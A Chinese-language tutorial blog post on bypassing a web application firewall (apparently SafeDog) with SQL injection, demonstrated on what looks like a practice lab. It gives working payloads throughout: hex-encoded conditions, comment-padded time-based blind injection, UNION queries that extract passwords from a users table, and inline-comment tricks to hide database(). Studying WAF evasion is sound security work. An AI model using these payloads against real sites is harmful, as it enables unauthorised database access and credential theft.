赞
踩
1.GET字符型注入
1.1.HEX编码
1.1.1.编码or后面的数据实现绕过
PoC:viwfwerncffe'+or+0x3a!=1--+【绕狗成功】
0x3a表示“:”
1.2.空格替换
正常在BP中修改数据包时,空格一般使用+来代替。但是这也容易被WAF拦截,使用其他的语句代替+,可以有效避免,例如:/*//--//*/
1.3.实战整体绕过思路
1.3.1.结论
PoC:vince'+and+if///_///(1=1,sleep///__///(5),1)--+
1.3.2.渗透测思路
BP抓包进行一些简单的基础测试判断是否存在SQL注入
加了一个单引号,返回有关数据库的报错,很显然将我们输入的数据带到了数据库中进行执行,所以存在SQL注入。
尝试注入获取相关信息,通过测试发现,and语句测试时,过滤数字,=之类的字符,没有过滤英文字母。
vince'and+=--+
vince'and+1--+
vince'and+s=--+
经测试,union select但凡出现,就会拦截,内联注释,编码,大小写等操作都无法绕过,尝试其他思路
联系上面and,既然and过滤了那些字段,那我们尝试一下可不可以使用if,sleep之类的语句,看看有没有被过滤。
vince'+and+if(1=1,sleep(5),1)--+【仍然被拦截了】
if,sleep这类语句和()之间可以存在空格,尝试把它们稍微分开试试看
vince'+and+if+(1=1,sleep+(2),1)--+【失败】
vince'+and+if///_///(1=1,sleep///__///(5),1)--+【成功】
根据上面的思路,修改一下尝试获取有效数据
vince'+and+if/*//_//*/(substr(database/*//__//*/(),1,1)='m',sleep/*//__//*/(2),1)--+
该语句通过爆破可以获得数据库名称,以此思路往下即可一一获取有效数据
2.union select 【GET/POST】
3.1.GET:
相当于空格/*//--//*/
PoC:vince%27+union///--///select+1,(select///--///password+from+users+limit+1)--+
3.2.POST:
3.2.1.使用未拦截字段获取数据
说明:WAF拦截设置的黑名单不可能包含所有的数据,通过测试发现这里所有的标准查询方式基本都被过滤,包括查询database(),users(),version()等等,但是可以直接查询到某个具体字段的相关数据。【这个需要指导相关字段信息,比较困难,要有欧气才行】
POC:-6 union select 1,(select+password+from+users+limit+1)#
3.2.2.分析拦截数据,采用函数方法绕过
1.left()函数
测试核心:主要就是测试不在黑名单中的相关信息,总有遗漏。这里遗漏了current_user(),所以我们可以直接进行查询,后面特地再使用left是为了更好避免一些拦截,不过这里没啥用哈,记一个思路,实际和上面3.2.1差不多。
POC:-2 union select 1,(if(ascii(left(current_user,1))=114,1,exp(9)))#
current_user的数据如下,我们使用构造的POC获取数据库的这个数据
2.分析原因,寻找突破口绕过
说明:这个难度大一点,需要自己对payload语句进行判断,判断WAF拦截的思路。先看结论,然后我们再分析。
2.1.结论
PoC:-2 union select 1,(if(substr(/*!database*/(),1,1)='m','kaka_win',0))#
爆破出来数据库第一个字符是m啦!!!
2.2.分析
直接查询database()发现被拦截了
但是随便去除database()的一个字符,又可以访问(报错了,说明有执行)
说明WAF直接拦截了database(),结合之前的文章内容,想到内联注释啊,大小写绕过,编码,双写......
慢慢进行测试。
测试了半天获得一个有效的信息!!原来不加()也可以执行,那我们就想办法在不影响语句的情况下,把database和()分开即可!!!【内联注释就必须上场咯!!】
OK!!!直接拿下!!!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。